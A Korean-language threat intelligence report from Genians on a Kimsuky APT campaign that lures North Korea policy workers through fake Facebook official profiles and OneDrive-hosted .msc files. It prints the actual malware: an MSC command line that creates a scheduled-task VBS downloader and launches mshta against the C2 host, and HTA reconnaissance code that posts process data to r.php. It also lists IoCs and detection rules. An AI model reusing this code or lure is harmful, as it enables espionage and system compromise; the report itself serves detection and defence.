<img height="1" width="1" style="display:none" src="https://www.facebook.com/tr?id=939333007162424&amp;ev=PageView&amp;noscript=1">

페이스북과 MS관리콘솔을 활용한 Kimsuky APT 공격 발견

(한국과 일본 대상 공격 징후 포착)
Kimsuky APT attack discovered using Facebook & MS management console

◈ 주요 요약 (Executive Summary)  

  • 북한인권분야 공직자 신분처럼 위장, 페이스북으로 공격대상 물색  
  • 페이스북 메신저로 개인별 접근 후 가벼운 인사와 대화 시작  
  • 특정 문서 파일인 것처럼 속여 악성 URL 링크 주소 공유  
  • 원드라이브 클라우드 서비스를 통해 MSC 기반 위협 관찰  
  • Kimsuky 그룹의 ReconShark 유사 악성 코드 식별    

 

1. 개요 (Overview)  

○ 지니언스 시큐리티 센터(이하 GSC)는 Kimsuky APT 그룹이 새로운 공격 전략을 도입한 것을 발견해, 한국인터넷진흥원(KISA) 위협 인텔리전스 네트워크 협력을 통해 민관 공동 분석과 대응을 진행했습니다. 특히, 이번 APT 공격은 미국 기업 메타가 소유한 온라인 소셜 네트워크 서비스인 페이스북(Facebook) 서비스가 초기 침투에 활용됐습니다.  

○ 위협 행위자(Threat Actor)는 마치 한국내 북한인권분야 소속의 공직자처럼 위장한 가짜 신분의 페이스북 계정을 만든 후, 주요 대북분야 및 안보관련 종사자를 대상으로 온라인 친구신청과 전용 메신저로 접근을 시도했습니다.    

 

01-May-08-2024-04-14-28-0692-AM

 [그림 1] Kimsuky 그룹의 Facebook 기반 ReconShark 공격 흐름도  

 

2. 공격 시나리오 (Attack Scenario)  

○ 우선 이번 위협의 대표적 특징은 한국내 특정 공직자 프로필처럼 만든 가짜 페이스북 계정이 등장한다는 점입니다. 국내 실존 인물의 명의를 도용해 SNS 기반 공격에 악용한 것입니다. 주요 공격 대상은 북한인권 및 대북분야 활동가로 관측됩니다.    

○ 초기 개별 접근이 마치 이메일 기반의 스피어 피싱 공격 전략과 유사합니다. 하지만 페이스북 메신저를 통해 상호 소통하고, 신뢰도를 높이며 진행한 점은 Kimsuky APT 공격의 과감성이 날로 증대됨을 알 수 있습니다.    

○ 실제 공격에 활용된 페이스북 화면에는 공공기관에서 찍은 것으로 보이는 배경사진이 등록돼 있습니다. 마치 공직자로 위장한 위협 행위자는 자신이 작성한 비공개 문서를 공유해 주는 척하며, 공격 대상자의 환심을 사려고 합니다.      

 

02-May-08-2024-04-14-37-9593-AM

[그림 2] 공직자 위장 페이스북 화면과 실제 메신저 공격 화면 (일부 블러 처리)

 

 ○ 만약 메신저로 전달받은 내용에 현혹돼 원드라이브(OneDrive) 링크로 접속하면, 파일 다운로드 화면이 나타납니다.    

○ 해당 클라우드에 등록된 정보를 살펴보면, 2024년 4월 19일 오후 5시 48분에 'Robert Soofer' 가입자가 'My_Essay(prof).msc' 이름의 파일을 등록한 내역을 볼 수 있습니다. 참고로 이 이름은 전 미국방부의 핵 및 미사일 방어 정책담당 차관보를 역임한 'DR. ROBERT SOOFER' 이름과 동일합니다.      

 

03-May-08-2024-04-14-57-0025-AM

[그림 3] 실제 공격 당시 사용된 원드라이브 화면 (일부 블러 처리)

 

○ 'My_Essay(prof).msc' 파일명의 확장자처럼 [.msc] 유형은 'Microsoft Management Console' 프로그램으로 연결되어 실행되는 'Microsoft Common Console 문서' 입니다. 이번 케이스는 Kimsuky APT 캠페인에서 보기 드문 형태의 공격입니다. 위협 행위자는 기존에 널리 알려지지 않은 공격 체계를 도입해 은밀히 사용 중인 것으로 관찰됩니다.    

○ 한편 GSC는 본 사례를 조사하던 중 명령제어(C2) 서버가 동일한 유사 공격이 이미 일본에서 식별된 것을 발견했습니다. 지난 4월 5일 'NZZ_Interview_Kohei Yamamoto.msc' 이름의 악성 파일이 구글에서 운영 중인 바이러스토탈(VirusTotal)에 업로드됐고, 등록된 국가는 일본 지역입니다.    

○ 공격에 쓰인 미끼(Decoy) 문서 내용을 보면, 'Interview by NZZ' 타이틀에 한미일 3국 정상회담 및 안보 분야에 대한 일본과 관련된 영문 내용이 담겨 있습니다. 여러 정황상 실제 일본인을 상대로 진행된 표적 공격 가능성에 무게가 실립니다.      

 

04-4

[그림 4] 구글 바이러스토탈에 등록된 화면

 

○ 특히, 흥미로운 점은 해당 악성 파일이 바이러스토탈 업로드 당시 다국적 60개 Anti-Malware 스캐너 전부 위협요소를 탐지하지 못한 점입니다. 기존에 널리 알려지지 않은 패턴이 실전 공격에 높은 효과를 발휘할 수 있다고 평가할 수 있습니다.    

○ GSC는 'NZZ_Interview_Kohei Yamamoto.msc' 악성 파일이 실행되면 보여지는 미끼용 'NZZ_Interview_Kohei Yamamoto.docx' 정상 문서 내용을 확보할 수 있었습니다.    

○ 계속 조사가 진행 중이지만, 일본에서 식별된 사례가 한국처럼 페이스북 메신저로 유포된 것인지 아직 명확하지 않습니다. 다만, 한국과 일본을 상대로한 APT 공격이 은밀히 진행 중인 것은 분명합니다.      

 

05-4

[그림 5] 'NZZ_Interview_Kohei Yamamoto.docx' 문서 내용

 

○ 일본 상대로 추정되는 공격이 먼저 관찰되고, 얼마 지나지 않아 다시 한국에서 변종이 포착된 경우는 이번이 처음입니다.    

○ 그리고 두개의 악성파일 실행 화면을 비교하면 동일한 패턴을 볼 수 있습니다. 실행을 유도하는 파일명은 다르지만, 양쪽 모두 'Security Mode' 명칭을 사용했습니다.      

 

06-May-08-2024-04-15-23-0281-AM

[그림 6] 한국과 일본에서 확인된 악성 파일 실행 화면 비교

 

3. 악성 파일 분석 (Malware Analysis)  

○ 원드라이브에 등록된 'My_Essay(prof).msc' 파일이 다운로드되면 다음과 같이 보여질 수 있습니다. 보통 윈도우 운영체제 기본 설정은 확장자가 보이지 않도록 구성돼 있습니다. 따라서 동일 버전의 MS Office 제품이 설치돼 있고, 확장자가 숨겨져 있다면 아이콘만 보고 문서로 착각할 수 있습니다.      

 

07-4

[그림 7] 'My_Essay(prof).msc' 파일 다운로드 화면

 

'My_Essay(prof).msc' 파일은 XML(eXtensible Markup Language) 언어 구조를 가지고 있습니다. 조건 설정을 통해 MS Word 아이콘처럼 보이게 구성할 수 있습니다.

 


<
VisualAttributes>
   <String Name="ApplicationTitle" ID="10"/>
   <Icon Index="0" File="C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE">
     <Image Name="Large" BinaryRefIndex="0"/>
     <Image Name="Small" BinaryRefIndex="1"/>
     <Image Name="Large48x" BinaryRefIndex="2"/>
   </Icon>
 </VisualAttributes>

 [표 1] 'My_Essay(prof).msc' 아이콘 설정 화면

 

○ Microsoft Common Console 문서(.msc) 파일이 실행되면 [사용자 계정 컨트롤] 기능에 의해 허용 여부를 먼저 묻게 됩니다.    

○ 이때 [예] 버튼을 클릭하면 msc 연결 프로그램 'Microsoft Management Console (mmc.exe)' 실행을 통해 [My_Essay] 이름의 관리 콘솔 화면이 나타납니다.    

 

08-4

 [그림 8] msc 실행 후 보여지는 관리 콘솔 화면    

 

○ msc 악성 파일은 Console Root 작업 창을 'Security Mode' 이름으로 지정했고, 결과 창 스타일의 목록과 표준 탭 숨기기를 통해 보이는 부분을 간소화했습니다.    

○ 그리고 속성의 작업 이름을 'Open', 설명 부분을 'My_Essay.docx' 내용으로 만들어, 마치 보안 기능의 문서 실행 화면처럼 현혹될 수 있습니다. 'Open' 부분을 클릭하면, 내부에 설정된 악성 명령이 실행됩니다.    

○ 해당 작업의 명령줄에는 'cmd.exe' 명령과 긴 줄의 매개 변수 값이 포함돼 있습니다.    

 

09-4

 [그림 9] 'My_Essay(prof).msc' 작업 명령줄 화면 

 

○ 코드 내부에 작업 명령어는 다음과 같이 구성돼 있고, C2 호스트 'brandwizer.co[.]in' 주소로 접속을 시도합니다. 해당 도메인은 인도의 whiteserver 호스팅 업체에서 등록됐고,  아이피 주소는 독일소재의 '5.9.123.217' 주소로 연결돼 있습니다.

 

<
Tasks>
       <Task Type="CommandLine" Command="cmd.exe">
         <String Name="Name" ID="5"/>
         <String Name="Description" ID="11"/>
         <Symbol>
           <Image Name="Small" BinaryRefIndex="6"/>
           <Image Name="Large" BinaryRefIndex="7"/>
         </Symbol>
         <CommandLine Directory="" WindowState="Minimized" Params="/c mode 15,1&amp;start explorer &quot;https://brandwizer.co[.]in/green_pad/wp-content/plugins/custom-post-type-maker/essay/share&quot;&amp;echo On Error Resume Next:Set ws = CreateObject(&quot;WScript.Shell&quot;):Set fs = CreateObject(&quot;Scripting.FileSystemObject&quot;):Set Post0 = CreateObject(&quot;msxml2.xmlhttp&quot;):gpath = ws.ExpandEnvironmentStrings(&quot;%appdata%&quot;) +
&quot;\Microsoft\cool.gif&quot;:bpath =
ws.ExpandEnvironmentStrings(
&quot;%appdata%&quot;) +
&quot;\Microsoft\cool.bat&quot;:If fs.FileExists(gpath) Then:re=fs.movefile(gpath,bpath):re=ws.run(bpath,0,true):fs.deletefile(bpath):Else:Post0.open &quot;GET&quot;,
&quot;https://brandwizer.co[.]in/green_pad/wp-content/plugins/custom-post-type-maker/essay/d.php?na=battmp&quot;,False: Post0.setRequestHeader &quot;Content-Type&quot;,
&quot;application/x-www-form-urlencoded&quot;:Post0.Send:t0=Post0.responseText:Set f = fs.CreateTextFile(gpath,True):f.Write(t0):f.Close:End If:&gt;&quot;C:\Users\Public\music\warm.vbs&quot;&amp;schtasks /create /tn OneDriveUpdate /tr &quot;wscript.exe /b
&quot;C:\Users\Public\music\warm.vbs&quot;&quot; /sc minute /mo 41 /f&amp;start /min mshta https://brandwizer.co[.]in/green_pad/wp-content/plugins/custom-post-type-maker/essay/ttt.hta"/>
       </Task>
     </Tasks>

[표 2] 'My_Essay(prof).msc' 작업 명령어 (일부 수정)    

 

○ 매개 변수 명령줄에 3가지의 HTML 특수 코드가 사용됐습니다. 웹 브라우저가 인식할 수 있는 HTML 문법을 통해 특수 기호를 적절히 사용했습니다.   

 

특수코드 값 실제 표현 용도
&amp; ampersand &
&quot; quotation mark "
&gt; greater-than sign >

 [표 3] HTML 특수 코드 설명

 

○ 명령이 실행되면, 'cmd.exe' 커맨드 라인을 통해 'brandwizer.co[.]in' C2 주소의 'share' 경로로 접속합니다. 분석 당시 'HTTP/1.1 302 Found' 응답을 통해 특정 구글 드라이브 문서 경로로 이동됨을 확인했습니다. 이 문서는 정상 행위로 보이도록 하기 위한 미끼 문서로 활용됐고, 파일명은 'Essay on Resolution of Korean Forced Labor Claims.docx' 입니다.    

○ 그 다음 msc 내부 매개변수에 포함된 echo 메시지 출력 명령과 '&gt;' 특수기호(>)에 의해 [공용 음악] 경로에 'warm.vbs' 파일을 생성합니다.    

○ 그리고 작업 스케줄러로 등록해 지속성을 유지하는데, 'OneDriveUpdate' 이름으로 등록된 예약 작업은 처음 트리거된 후 41분마다 무기한 반복합니다. 반복 시간 설정 간격은 기존 Kimsuky 그룹의 'BabyShark' 또는 'ReconShark' 캠페인에서 동일하게 관찰됩니다.      

 

10-May-08-2024-04-15-53-4904-AM

[그림 10] 'warm.vbs' 악성 파일 생성 화면   

 

○ 'warm.vbs' 파일은 환경변수로 지정된 오브젝트와 명령을 조합해 사용합니다. %appdata% 하위 'Microsoft' 경로에 'cool.gif', 'cool.bat' 파일이 각각 'gpath', 'bpath' 문자열로 지정됩니다. 그리고 'gpath' 파일이 존재할 경우 'bpath'로 이동하도록 합니다.    

○ 따라서, 'cool.gif' 이미지 파일 확장자가 'cool.bat' 배치 명령으로 변경됩니다. 초기 공격에는 'cool.gif' 파일이 발견되지 않았고, C2 서버의 추가 명령과 다운로드로 생성될 것으로 추정됩니다. 이전 rfa[.]ink 도메인을 사용했던 유사 공격에서는 'qwer.gif', 'qwer.bat' 파일명이 사용된 바 있습니다.   

 


On Error Resume Next
:
Set ws = CreateObject("WScript.Shell"):
Set fs = CreateObject("Scripting.FileSystemObject"):
Set Post0 = CreateObject("msxml2.xmlhttp"):
gpath = ws.ExpandEnvironmentStrings("C:\Users\[계정명]\AppData\Roaming") + "\Microsoft\cool.gif":
bpath = ws.ExpandEnvironmentStrings("C:\Users\[계정명]\AppData\Roaming") + "\Microsoft\cool.bat":
If fs.FileExists(gpath) Then:
re=fs.movefile(gpath,bpath):
re=ws.run(bpath,0,true):
fs.deletefile(bpath):Else:
Post0.open "GET",
"https://brandwizer.co[.]in/green_pad/wp-content/plugins/custom-post-type-maker/essay/d.php?na=battmp",False:
 Post0.setRequestHeader "Content-Type",
"application/x-www-form-urlencoded":
Post0.Send:
t0=Post0.responseText:
Set f = fs.CreateTextFile(gpath,True):
f.Write(t0):
f.Close:
End If:

[표 4] 'warm.vbs' 스크립트 명령어 (일부 수정)

 

○ 다음 단계로 'Post0' 환경변수로 설정된 "msxml2.xmlhttp" 오브젝트를 통해 C2 서버 'brandwizer.co[.]in' 도메인 주소로 원격 접속을 시도합니다. 그리고 워드프레스 콘텐츠 및 플러그인 폴더가 포함된 여러 경로 중 'essay' 하위폴더의 'd.php?na=battmp' 명령을 호출합니다.    

○ 실제 공격 시점 당시 추가로 다운로드된 파일이 포착되진 않았습니다. 한편, 'd.php'는 다운로드(download), 'na'는 파일명(name), 'battmp' 문자열은 배치파일(bat)과 임시(tmp) 의미의 단축어로 추정됩니다. 참고로 'd.php?na=battmp' 인자값 방식은 여러 Kimsuky APT 공격 사례에서 보고된 바 있고, 'vbtmp' 형식의 변종도 존재합니다.   

○ 대표적 사례로 안랩(Ahnlab) ASEC 블로그의 '문서 뷰어로 위장한 악성 배치 파일(*.bat) 유포 중(Kimsuky)' 분석 내용이 있습니다.    

○ 더불어 미국 보안업체 센티넬원(Sentinelone)의 'Kimsuky Evolves Reconnaissance Capabilities in New Global Campaign' APT 보고서에 인용된 악성 문서 사례도 존재합니다.    

 

Security Company C2 Domain C2 IP
지니언스
(Genians)
brandwizer.co[.]in/green_pad/wp-content/plugins/custom-post-type-maker/essay/d.php?na=battmp 5.9.123.217 [DE]
안랩
(Ahnlab)
joongang[.]site/pprb/sec/d.php?na=battmp 162.0.209.27 [US]
센티넬원
(Sentinelone)
rfa[.]ink/bio/d.php?na=battmp 162.0.209.27 [US]
52.177.14.24 [US]

[표 5] 보안 업체별 'battmp' 사용 사례 비교

 

○ 센티넬원 분석 보고서에 따르면, 대북 정보분석 전문 미국기업 Korea Risk Group(KRG)의 직원을 표적으로 삼은 공격 사례에 대해 자세히 기술했습니다. 특히, BabyShark 구성요소 중 정찰목적으로 확장된 ReconShark 악성 코드를 심층 분석한 내용을 소개했습니다.    

○ 당시 초기 침투 전략은 스피어 피싱이 사용됐고, Microsoft OneDrive 링크를 통해 비밀번호로 보호된 'Research Proposal-Haowen Song.doc' 악성 문서가 전달됐습니다. 원드라이브 링크를 사용한 부분은 본 보고서 사례와도 일치합니다.    

○ 추가로 'Research Proposal-Haowen Song.doc' 내부에 포함된 매크로 함수를 통해 ReconShark 명령이 수행되는데, 이때 사용된 C2 도메인과 아이피는 'rfa[.]ink' (52.177.14[.]24 [US]) 주소이며, 동일 아이피 대역에서 사용된 과거 악성 문서가 존재합니다. 

 

File Name C2 Info MD5 Hash
white_paper.doc seoulhobi[.]biz
(52.177.14[.]24)
49bac05068a79314e00c28b163889263
Speaking notes-ExMon Deterrence Summit-24Mar-rev26Mar19.doc login-main.bigwnet[.]com
(52.177.14[.]24)
7ca1a603a7440f1031c666afbe44afc8

[표 6] 52.177.14[.]24 아이피가 사용됐던 악성 문서 사례    

 

○ GSC는 위협 행위자가 기존에 활용했던 TTPs(Tactics, Techniques, Procedures)를 일부 교체하기도 하지만, 그대로 반복 재활용 사례도 관찰 중입니다. 이러한 사이버 위협 인텔리전스(CTI)기반 상관관계 분석을 통해 공격 배후를 증명하는 근거자료와 기술 연구에 활용됩니다.    

○ 'warm.vbs' 파일은 작업 스케줄 명령에 의해 지속성 유지 및 선별적 공격 명령이 수행됩니다. 이어서 'mshta.exe' 명령줄을 통해 C2에 존재하는 'ttt.hta' 원격 스크립트를 호출하게 됩니다. 해당 스크립트는 VBScript 언어로 구성돼 있습니다.    

○ 스크립트 명령은 'Modi (a0)' 함수명을 선언해 사용하는데, 이 함수의 주요 기능이 조건에 따라 문자열을 수정해 필요한 부분을 변환하기에 'Modify' 약어로 해석될 수 있습니다.    

 


Function
Modi(a0)
   Modi = ""
   For ix = 1 To Len(a0)
       aa = Mid(a0, ix, 1)
       bb = "_"
       If Asc(aa) > 47 And Asc(aa) < 58 Then
           bb = aa
       End If
       If Asc(aa) > 64 And Asc(aa) < 91 Then
           bb = aa
       End If
       If Asc(aa) > 96 And Asc(aa) < 123 Then
           bb = aa
       End If
       If Asc(aa) = 46 Then
           bb = aa
       End If
       Modi = Modi + bb
   Next
End Function

[표 7] 'ttt.hta' 파일의 'Modi (a0)' 함수 부분

 

○ 함수에는 4개의 IF문이 사용되고, 첫 번째는 ASCII 코드 일람표상  10진수 48부터 57까지의 문자인 0~9 숫자인지 확인합니다. 그리고 숫자가 맞다면 문자열에 추가합니다.    

○ 두 번째 IF문은 10진수 65부터 90까지의 문자인 A~Z 대문자 알파벳인지 확인합니다. 그리고 대문자 알파벳이 맞다면 문자열에 추가합니다.    

○ 세 번째 IF문은 10진수 97부터 122까지의 문자인 a~z 소문자 알파벳인지 확인합니다. 그리고 소문자 알파벳이 맞다면 문자열에 추가합니다.    

○ 네 번째 IF문은 10진수 46 문자인 점(.)인지 확인하고, 맞다면 문자열에 추가합니다. 이렇게 입력된 숫자, 알파벳, 점(.)을 확인하고, 다른 문자들은 모두 밑줄(_)로 대체하는 함수입니다.    

○ 그 다음 윈도우 관리 도구 WMI(Windows Management Instrumentation) 명령을 통해 단말의 배터리(Battery), 프로세스(Process) 정보를 쿼리합니다.   

 


On Error Resume Next
Result=""
isProcessRunning = ""
Set ws = CreateObject("WScript.Shell")
Set WMI = GetObject("WinMgmts:")
Set Objs = WMI.InstancesOf("Win32_Battery")
Set fs = CreateObject("Scripting.FileSystemObject")

For Each Obj In Objs
 isProcessRunning = isProcessRunning & Obj.Description & " "
Next

Set Objs = WMI.InstancesOf("Win32_Process")
For Each Obj In Objs
 isProcessRunning = isProcessRunning & Obj.Description & " "
Next

isProcessRunning=LCase(isProcessRunning)

If fs.FileExists("C:\Users\Public\Pictures\temp.vbs") Then
   Result = Result+"sch vbs ok "+"ENTER"
Else
   Result = Result+"sch vbs no "+"ENTER"
End If

Result = Result + isProcessRunning + "ENTER"
Set Post0 = CreateObject("msxml2.xmlhttp")
Post0.Open "POST",
"https://brandwizer.co[.]in/green_pad/wp-content/plugins/custom-post-type-maker/essay/r.php", 0
Post0.setRequestHeader "Content-Type", "application/x-www-form-urlencoded"
Post0.Send (Modi(Result))

[표 8] 'ttt.hta' 정보 수집 및 유출 명령어

 

○ [공용 사진] 폴더 경로에 'temp.vbs' 파일의 존재여부에 따라 쿼리된 배터리 및 프로세스 정보를 'Result' 결과에 'sch_vbs_ok_ENTER' 또는 'sch_vbs_no_ENTER' 문자열을 포함하게 됩니다.    

○ 그리고 'Modi (a0)' 함수에 의해 수집된 정보의 띄어쓰기 공백 부분 모두에 밑줄(_)로 수정하고, 최종 문자열 뒤에 ENTER 문자열이 한번 더 추가됩니다.   

 

sch_vbs_ok_ENTERsystem_idle_process_system_registry_smss.exe_csrss.exe_wininit.exe_csrss.exe_winlogon.exe_services.exe_lsass.exe_svchost.exe_fontdrvhost.exe_fontdrvhost.exe_svchost.exe_svchost.exe_svchost.exe_dwm.exe_mshta.exe_ENTER

[표 9] 수집된 프로세스 결과 값 방식 

 

○ 이렇게 수집된 정보는 C2 서버의 'r.php' 주소로 전송됩니다. 앞서 살펴본 센티넬원의 악성 문서 파일은 본 보고서의 'ttt.hta' 함수 일부가 'Research Proposal-Haowen Song.doc' 악성 문서의 매크로 명령 함수에 동일하게 사용됐습니다.   

 


Function
Modi(a0)
   Modi = ""
   For ix = 1 To Len(a0)
       aa = Mid(a0, ix, 1)
       bb = "_"
       If Asc(aa) > 47 And Asc(aa) < 58 Then
           bb = aa
       End If
       If Asc(aa) > 64 And Asc(aa) < 91 Then
           bb = aa
       End If
       If Asc(aa) > 96 And Asc(aa) < 123 Then
           bb = aa
       End If
       If Asc(aa) = 46 Then
           bb = aa
       End If
       Modi = Modi + bb
   Next
End Function

Function ExR(a0)
  If ExRuList = "" Then
       ExRuList = a0
   Else
       ExRuList = ExRuList + "&" + a0
   End If
End Function

Function ExR32(a0)
  If ExRuList32 = "" Then
       ExRuList32 = a0
   Else
       ExRuList32 = ExRuList32 + "&" + a0
   End If
End Function

[표 10] doc 악성 문서에 포함된 매크로 함수 일부

 

○ doc 문서에 포함된 매크로 함수명은 'Modi(a0)' 값이 동일하고, 추가로 'ExR(a0)', 'ExR32(a0)' 함수가 존재합니다.

○ 더불어 C2 서버 'r.php' 주소로 전송하는 방식도 기존 다른 위협 사례에서도 동일하게 식별되고 있습니다.   

 

Security Company C2 Domain
지니언스
(Genians)
brandwizer.co[.]in/green_pad/wp-content/plugins/custom-post-type-maker/essay/r.php
안랩
(Ahnlab)
joongang[.]site/pprb/sec/r.php
센티넬원
(Sentinelone)
rfa[.]ink/bio/r.php

[표 11] 보안 업체별 'r.php' 정보 유출 주소 비교

 

○ GSC는 'brandwizer.co[.]in' C2 주소의 'share' 경로에서 확인됐던 'Essay on Resolution of Korean Forced Labor Claims.docx' 미끼 문서명과 동일한 'Essay on Resolution of Korean Forced Labor Claims.vbs' 악성 파일도 발견했습니다.    

○ 해당 vbs 파일도 앞서 설명한 'Modi(a0)' 함수가 동일하게 사용됐고, C2 도메인은 'makeoversalon.net[.]in' 입니다. vbs 파일이 실행되면 C2 서버로 접속해 'share.docx' 파일을 호출하지만, 분석 당시 접속되지 않았습니다. msc, vbs 악성 파일은 각각 코드 유형과 C2 도메인은 다르게 쓰였지만, 유사 변종 범주에 속합니다. 특히 도메인은 같은 아이피 대역에 포함됩니다.   

 

Security Company C2 Domain C2 IP
msc brandwizer.co[.]in/green_pad/wp-content/plugins/custom-post-type-maker/essay/share 5.9.123.217
vbs makeoversalon.net[.]in/wp-content/plugins/wp-custom-taxonomy-image/iiri/share.docx 5.9.123.217

[표 12] msc, vbs 악성코드 C2 정보 비교

 

○ 참고로 vbs 유형의 악성 파일은 바이러스토탈 텔레메트리 기준 2024-04-18 21:28:53 (UTC) 미국에서 가장 먼저 업로드됐고, 약 10분 후 한국에서 추가 등록됐습니다.    

 

4. 'd.php' 분석 (‘d.php’ analysis)  

○ GSC는 본 사례와 동일한 위협 행위자 소행으로 분석된 C2 서버 정보를 수집해 조사했습니다. 그 과정 중 서버에 존재했던 자료를 일부 확인할 수 있었습니다.    

○ 유사 공격 명령에는 'd.php?na=vbtmp', 'd.php?na=battmp' 등이 사용됐는데, 다른 코드는 모두 동일하고, 'vbtmp', 'battmp' 부분만 서로 상이합니다.      

 

11-May-08-2024-04-16-16-2041-AM

[그림 11] 'd.php' 명령 비교 화면    

 

○ 'd.php' 파일은 접근한 방문자의 아이피 주소, 시간, 날짜, User-Agent 등을 수집하고, 조건에 따라 'battmp1' ~ 'battmp4' 또는 'vbtmp1' ~ 'vbtmp4' 등의 분기문에 따라 추가 페이로드를 호출하고 공격 의도에 따라 개별 명령을 전달하게 됩니다.    

○ 마지막에는 [echo "cmd.exe /c echo 1>>\"%appdata%\\1\"";] 명령을 출력하기도 합니다. 따라서 웹 브라우저 화면에 이 내용이 보일 수 있습니다.    

 

5. 결론 및 대응방법 (Conclusion)  

○ 올해 1분기 한국내 보고된 APT 공격 중 가장 대표적인 방식은 스피어 피싱 공격입니다. 더불어 바로가기(LNK) 유형의 악성 파일을 결합한 방식은 꾸준히 성행하고 있습니다.    

○ 흔하게 보고되는 편은 아니지만, 소셜미디어를 통한 은밀한 공격도 발생하고 있습니다. 아무래도 1:1 개인화된 공격으로 진행되다보니, 보안 모니터링에 쉽게 포착되기 어려운 특성이 있고, 피해자가 인지하더라도 외부에 신고되는 경우는 드문편에 속합니다.    

○ 따라서 이러한 맞춤형 위협을 초기 단계서 탐지하는 것은 매우 중요한 일입니다. 반면, 위협 행위자는 단말의 Anti-Virus 회피 전략을 지속 강화한다는 점입니다.    

○ 본 사례처럼 널리 알려지지 않은 MSC 악성 파일 활용 이유 역시 이와 무관하다 할 수 없습니다. 그러므로, 시그니처 기반의 1차 방어선이 무력화될 경우를 대비해, 기업이나 기관은 행위기반 이상행위를 탐지하는 전문화된 보안 솔루션을 활용해야 합니다.    

○ GSC는 페이스북을 통해 은밀히 수행된 본 위협과 관련해 한국인터넷진흥원(KISA) 위협 인텔리전스 네트워크 민관 협력을 통해 침해지표(IoC)의 다양한 상관관계 조사 및 합동 대응을 진행했습니다. 이렇게 분석된 자료를 기반으로 Genian EDR 솔루션을 통해 가상의 모의 공격 과정과 위협 대응 검증을 진행했습니다.    

○ 이와 함께 미국내 여러 보안 전문가들의 긴밀한 협력과 신속한 대응, 위협 분석에 많은 도움을 받았습니다.      

 

12-May-08-2024-04-16-32-6861-AM

[그림 12] 'mmc.exe' 명령어 라인 확인 (일부 블러 처리)    

 

○ Genian EDR 솔루션은 MS 관리콘솔(mmc.exe)에 의해 실행된 msc 파일의 커맨드 라인 내용을 출력하므로, 보안 관리자는 이벤트 내용을 가시성 높게 확인할 수 있습니다.    

○ 공격 과정 중 잠복 및 지속성 유지를 위해 사용하는 작업 스케줄러 명령을 이상행위로 탐지할 수 있습니다. 더불어 등록된 스케줄러 조건을 확인할 수 있습니다.      

 

13-May-08-2024-04-16-39-9310-AM

[그림 13] 작업 스케줄러 등록 화면 (일부 블러 처리)    

 

○ 작업 스케줄러에 등록되는 'warm.vbs' 파일과 'mshta.exe'로 호출되는 'ttt.hta' 파일에 대해 '스크립트를 포함한 HTA 파일의 이상행위'도 진단이 가능합니다.    

○ 이러한 위협 요소는 Anti-Virus 탐지 회피를 성공하더라도, Genian EDR 이상행위 규칙에서 탐지가 가능하기 때문에 보안 관리자는 신속히 대응이 가능합니다.      

 

14-May-08-2024-04-16-47-6624-AM

[그림 14] C2 네트워크 통신 이상행위 탐지 (일부 블러 처리) 

 

○ 추가로 msc 공격에 의해 작동하는 'ttt.hta' C2 통신을 XBA 이상행위 규칙으로 탐지됩니다. 실제 독일[DE] 호스트로 통신한 네트워크 이벤트를 위협으로 탐지하여, EDR 서버 관리자는 신규 위협을 조기 식별하고, 내부 보안 정책설정을 통해 적절한 대응 조치를 수행할 수 있습니다.    

○ Genian EDR은 알려진 침해지표(IoC) 뿐만 아니라, 서명된 윈도우 바이너리 'mshta.exe' 통한 네트워크 통신도 이상행위로 분류해 위협 탐지가 가능합니다.    

○ 한국과 일본을 상대로 진행된 것으로 보이는 이번 APT 공격은 이른바 'BabyShark','ReconShark' 이름의 위협 캠페인으로 Kimsuky 그룹이 배후에 있는 것으로 알려져 있습니다. APT 공격이 나날이 국지화되고 있어, 기업이나 기관은 이상행위 탐지에 특화된 EDR 솔루션을 적극 활용할 필요가 있습니다.      

 

6. 침해 지표 (Indicator of Compromise)  

● MD5
56fa059cf7dc562ce0346b943e8f58bb
b5080c0d123ce430f1e28c370a0fa18b
e86a24d9f3a42bbb8edc0ca1f8b3715c
a12757387f178a0ec092fb5360e4f473
75ec9f68a5b62705c115db5119a78134

● MD5 (Related)
1dd007b44034bb3ce127b553873171e5
49bac05068a79314e00c28b163889263
7ca1a603a7440f1031c666afbe44afc8
aa8bd550de4f4dee6ab0bfca82848d44

● C2
5.9.123[.]217 [DE]
brandwizer.co[.]in/green_pad/wp-content/plugins/custom-post-type-maker/essay/share
brandwizer.co[.]in/green_pad/wp-content/plugins/custom-post-type-maker/essay/d.php?na=battmp
brandwizer.co[.]in/green_pad/wp-content/plugins/custom-post-type-maker/essay/r.php
brandwizer.co[.]in/green_pad/wp-content/plugins/custom-post-type-maker/kohei/r.php
brandwizer.co[.]in/green_pad/wp-content/plugins/custom-post-type-maker/essay/ttt.hta
brandwizer.co[.]in/green_pad/wp-content/plugins/custom-post-type-marker/ayaka/ttt.hta
makeoversalon.net[.]in/wp-content/plugins/wp-custom-taxonomy-image/iiri/share.docx

● C2 (Related)
52.177.14[.]24 [US]
69.163.180[.]70 [US]
162.0.209[.]27 [US]
162.0.209[.]91 [US]
199.59.243[.]225 [US]
joongang[.]site/pprb/sec/d.php?na=battmp
yonsei[.]lol
rfa[.]ink/bio/d.php?na=battmp
rfa[.]ink/bio/d.php?na=vbtmp
mitmail[.]tech/gorgon/ca.php?na=vbs.gif
mitmail[.]tech/gorgon/ca.php?na=video.gif
beastmodser[.]club/sil/0304/VOA_Korea.docx
beastmodser[.]club/sil/0304/d.php?na=version.gif
worldinfocontact[.]club/111/d.php
worldinfocontact[.]club/111/kfrie/cow.php
ielsems[.]com/romeo/d.php?na=vbtmp
ielsems[.]com/panda/d.php?na=battmp
dusieme[.]com/panda/TBS TV_Qs.docx
dusieme[.]com/panda/d.php?na=vbtmp
dusieme[.]com/hwp/d.php?na=sched.gif
dusieme[.]com/js/cic0117/ca.php?na=dot_emsi.gif
rapportdown[.]lol/rapport/com/ca.php?na=video.gif
rapportdown[.]lol/rapport/com/ca.php?na=reg.gif
nuclearpolicy101[.]org/wp-admin/includes/0421/d.php?na=vbtmp
nuclearpolicy101[.]org/wp-admin/includes/0603/d.php?na=battmp
nuclearpolicy101[.]org/wp-admin/includes/lee/leeplug/cow.php

 


New call-to-action New call-to-action